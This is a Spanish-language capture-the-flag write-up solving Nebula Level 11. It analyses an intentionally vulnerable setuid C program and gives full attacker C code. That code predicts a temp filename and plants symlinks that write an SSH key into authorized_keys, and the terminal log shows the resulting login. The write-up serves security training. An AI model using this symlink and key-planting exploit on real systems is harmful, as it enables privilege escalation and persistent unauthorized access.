Cómo resolví Nebula Level 11
Los archivos necesarios se encuentran en /home/flag11
echemos un vistazo
level11@nebula:~$ ls ../flag11/ -all
total 21
drwxr-x--- 1 flag11 level11 100 2016-12-20 15:11 .
drwxr-xr-x 1 root root 140 2012-08-27 07:18 ..
-rw------- 1 flag11 flag11 14 2016-12-20 15:11 .bash_history
-rw-r--r-- 1 flag11 flag11 220 2011-05-18 02:54 .bash_logout
-rw-r--r-- 1 flag11 flag11 3353 2011-05-18 02:54 .bashrc
drwx------ 2 flag11 flag11 60 2016-12-20 15:08 .cache
-rwsr-x--- 1 flag11 level11 12135 2012-08-19 20:55 flag11
-rw-r--r-- 1 flag11 flag11 675 2011-05-18 02:54 .profile
drwxr-xr-x 1 flag11 flag11 60 2016-12-20 15:07 .ssh
Esta pequeña carpeta .ssh
genera algún tipo de señal de alarma en mi cerebro. Tal vez necesitamos esto más adelante. Como se puede ver algunos de los archivos han sido accedidos recientemente. Esto se debió a mi ataque.
El código C adjunto del ejercicio es el siguiente:
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/mman.h>
/*
* Return a random, non predictable file, and return the file descriptor for it.
*/
int getrand(char **path)
{
char *tmp;
int pid;
int fd;
srandom(time(NULL));
tmp = getenv("TEMP");
pid = getpid();
asprintf(path, "%s/%d.%c%c%c%c%c%c", tmp, pid,
'A' + (random() % 26), '0' + (random() % 10),
'a' + (random() % 26), 'A' + (random() % 26),
'0' + (random() % 10), 'a' + (random() % 26));
fd = open(*path, O_CREAT|O_RDWR, 0600);
unlink(*path);
return fd;
}
void process(char *buffer, int length)
{
unsigned int key;
int i;
key = length & 0xff;
for(i = 0; i < length; i++) {
buffer[i] ^= key;
key -= buffer[i];
}
system(buffer);
}
#define CL "Content-Length: "
int main(int argc, char **argv)
{
char line[256];
char buf[1024];
char *mem;
int length;
int fd;
char *path;
if(fgets(line, sizeof(line), stdin) == NULL) {
errx(1, "reading from stdin");
}
if(strncmp(line, CL, strlen(CL)) != 0) {
errx(1, "invalid header");
}
length = atoi(line + strlen(CL));
if(length < sizeof(buf)) {
if(fread(buf, length, 1, stdin) != length) {
err(1, "fread length");
}
process(buf, length);
} else {
int blue = length;
int pink;
fd = getrand(&path);
while(blue > 0) {
printf("blue = %d, length = %d, ", blue, length);
pink = fread(buf, 1, sizeof(buf), stdin);
printf("pink = %d\n", pink);
if(pink <= 0) {
err(1, "fread fail(blue = %d, length = %d)", blue, length);
}
write(fd, buf, pink);
blue -= pink;
}
mem = mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0);
if(mem == MAP_FAILED) {
err(1, "mmap");
}
process(mem, length);
}
}
Después de analizar este código Return a random, non predictable file, and return the file descriptor for it.
. Cuando alguien dice no predecible , trato de predecir. Esto debe ser diferido un poco porque el resto del código necesita inspecciones. Solo algunas observaciones, en los antiguos sistemas Linux pid de un proceso es bastante predecible. Por supuesto, srandom()
sembrado con el tiempo también es predecible.
Bueno, hay un esquema de encriptación XOR que se usa para descifrar el búfer en process
y este búfer descifrado se entrega al sistema. Está bien, necesitamos inyectar algunas llamadas de ataque aquí. Por la inspección de los archivos, sabíamos que este es otro desafío setuid
bit, bueno, esto se está volviendo cojo, pensé. Francamente, yo era un poco demasiado optimista.
En la función principal, el búfer de procesamiento se llena desde stdin
y se comprueba con un prefijo codificado nada mágico aquí.
#define CL "Content-Length: "
int main(int argc, char **argv)
{
// ...
if(fgets(line, sizeof(line), stdin) == NULL) {
errx(1, "reading from stdin");
}
if(strncmp(line, CL, strlen(CL)) != 0) {
errx(1, "invalid header");
}
length = atoi(line + strlen(CL));
if(length < sizeof(buf)) {
if(fread(buf, length, 1, stdin) != length) {
err(1, "fread length");
}
process(buf, length);
} else {
//...
}
Las funciones err
saldrán del ejecutable cuando se presionen. Para omitir la siguiente verificación if(fread(buf, length, 1, stdin) != length) {
, la longitud pasada a este ejecutable debe ser una. En este caso el código inyectado es muy limitado. Las pruebas con desbordamiento de atoi y números negativos siempre fallaron. Debido a que fread
devuelve el número de elementos leídos y no el número de bytes, en este caso siempre devuelve uno. Forme los otros ejercicios que sabíamos que podemos fingir la variable PATH
con una ruta que tenemos bajo control. Así que solo necesitamos inyectar un solo carácter en la función magic process()
. El reverso del XOR es bastante sencillo. Es posible que necesite algunos intentos para ejecutar su comando, esto se debe a que todo el búfer se pasa a system
. El búfer se encuentra en la pila de main y debido a esto está lleno de basura. Pero las posibilidades de que alcancemos un cero en el segundo personaje no son tan malas. Ya sentí mi éxito pero luego obtuve esto:
getflag is executing on a non-flag account, this doesn't count
Esta vez no fui yo quien hizo trampa, pero los autores de Nebula en el código fuente provisto no mencionaron que eliminaron el bit setuid
antes de la llamada al sistema. Esto fue expuesto por el comando strace
.
getgid32() = 1012
setgid32(1012) = 0
getuid32() = 1012
setuid32(1012) = 0
rt_sigaction(SIGINT, {SIG_IGN, [], 0}, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGQUIT, {SIG_IGN, [], 0}, {SIG_DFL, [], 0}, 8) = 0
rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0
clone(child_stack=0, flags=CLONE_PARENT_SETTID|SIGCHLD, parent_tidptr=0xbfa443a8) = 6180
Está bien, esto parece un callejón sin salida. De vuelta al tablero de dibujo, la idea SSH apareció de nuevo. Pero, ¿cómo podemos usar la carpeta .ssh
? Esto es bastante fácil, tenemos que inyectar un archivo authorized_keys
allí. Pero, ¿cómo se puede lograr esto sin setuid
?
} else {
int blue = length;
int pink;
fd = getrand(&path);
while(blue > 0) {
printf("blue = %d, length = %d, ", blue, length);
pink = fread(buf, 1, sizeof(buf), stdin);
printf("pink = %d\n", pink);
if(pink <= 0) {
err(1, "fread fail(blue = %d, length = %d)", blue, length);
}
write(fd, buf, pink);
blue -= pink;
}
mem = mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0);
if(mem == MAP_FAILED) {
err(1, "mmap");
}
process(mem, length);
}
Hasta ahora, he ignorado completamente el otro caso de la verificación de longitud buffer
. Aquí es donde el nombre del archivo temporal super secreto superior entra en el juego. Para obtener control sobre el archivo, tenemos que definir la variable de entorno desde el shell donde ejecutamos el ataque más adelante:
export TEMP=/tmp
Ahora solo es cuestión de adivinar el PID de nuestra víctima. Esto es fácil, cuando canalizamos el stdout al stdin de la víctima, las posibilidades son altas, es solo uno más nuestro. De lo contrario, se podría utilizar popen()
e inyectar pid desde ps | grep flag11
. La parte del tiempo es muy fácil porque es el tiempo en segundos. Para obtener una tasa de éxito estable, también usamos el nombre de archivo para el siguiente segundo. Todo el código del atacante tiene este aspecto:
int getrand(char **path, int pid, int time)
{
char *tmp;
int fd = 0;
srandom(time);
tmp = getenv("TEMP");
asprintf(path, "%s/%d.%c%c%c%c%c%c", tmp, pid,
'A' + (random() % 26), '0' + (random() % 10),
'a' + (random() % 26), 'A' + (random() % 26),
'0' + (random() % 10), 'a' + (random() % 26));
return fd;
}
#define CL "Content-Length: "
int main(int argc, char **argv)
{
char line[256];
char buf[2048] = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCyS3QqEqbQHTk30QVRpzPVlKjM0px2iMhFfKFP0AmV8vOzCxVLJrYQv0CKPzQDdnszm/H+HrUjBS+c2RY0QB7IPJ8++tuqNEfewoYHJ80NI+7e9mn0HxlN9NCvI6TGX0+1s0VigwtKmq29pP7jHgualoowGrllnk42QI1nvUern6WZUu/Ry+lGyjyYbgd6BSOQpuvnxpxsFDWuk7AsUwrHJijPstS+lsrFZaMEYGqlxHv2hPjCFoADlrTCgusmrwLWsh/ljPfpgzRs2Ts/KF901xpCoHdzzwpckLuoA8+bYznifBp+StDEMkT5gZDygDUTfz5xhYr+KEx1ijHMHvix level11@nebula";
int pid;
int fd;
char *path;
FILE* stream;
pid = getpid()+1;
getrand(&path, pid, time(NULL));
symlink("/home/flag11/.ssh/authorized_keys",path);
getrand(&path, pid, time(NULL)+1);
symlink("/home/flag11/.ssh/authorized_keys",path);
fprintf(stdout, "%s%d\n%s",CL,sizeof(buf),buf);
}
La clave ssh debe ser generada primero. Me tomó algunos intentos para completar esos extraños cheques con los colores. Tal vez sea necesario verificar el formato de la función time()
para no tener problemas de desbordamiento. Por el momento no me queda claro por qué no es necesario cifrar el búfer. Tal vez alguna especialidad de la función mmap. De todos modos, con la clave ssh inyectada, puedes iniciar sesión en la cuenta de flag11 y obtener tu flag.
level11@nebula:~$ ./pwn11 | ../flag11/flag11
blue = 2048, length = 2048, pink = 395
blue = 1653, length = 2048, pink = 0
flag11: fread fail(blue = 1653, length = 2048): Operation not permitted
level11@nebula:~$ ssh flag11@localhost
_ __ __ __
/ | / /__ / /_ __ __/ /___ _
/ |/ / _ \/ __ \/ / / / / __ '/
/ /| / __/ /_/ / /_/ / / /_/ /
/_/ |_/\___/_.___/\__,_/_/\__,_/
exploit-exercises.com/nebula
For level descriptions, please see the above URL.
To log in, use the username of "levelXX" and password "levelXX", where
XX is the level number.
Currently there are 20 levels (00 - 19).
Welcome to Ubuntu 11.10 (GNU/Linux 3.0.0-12-generic i686)
* Documentation: https://help.ubuntu.com/
New release '12.04 LTS' available.
Run 'do-release-upgrade' to upgrade to it.
flag11@nebula:~$ getflag
You have successfully executed getflag on a target account
flag11@nebula:~$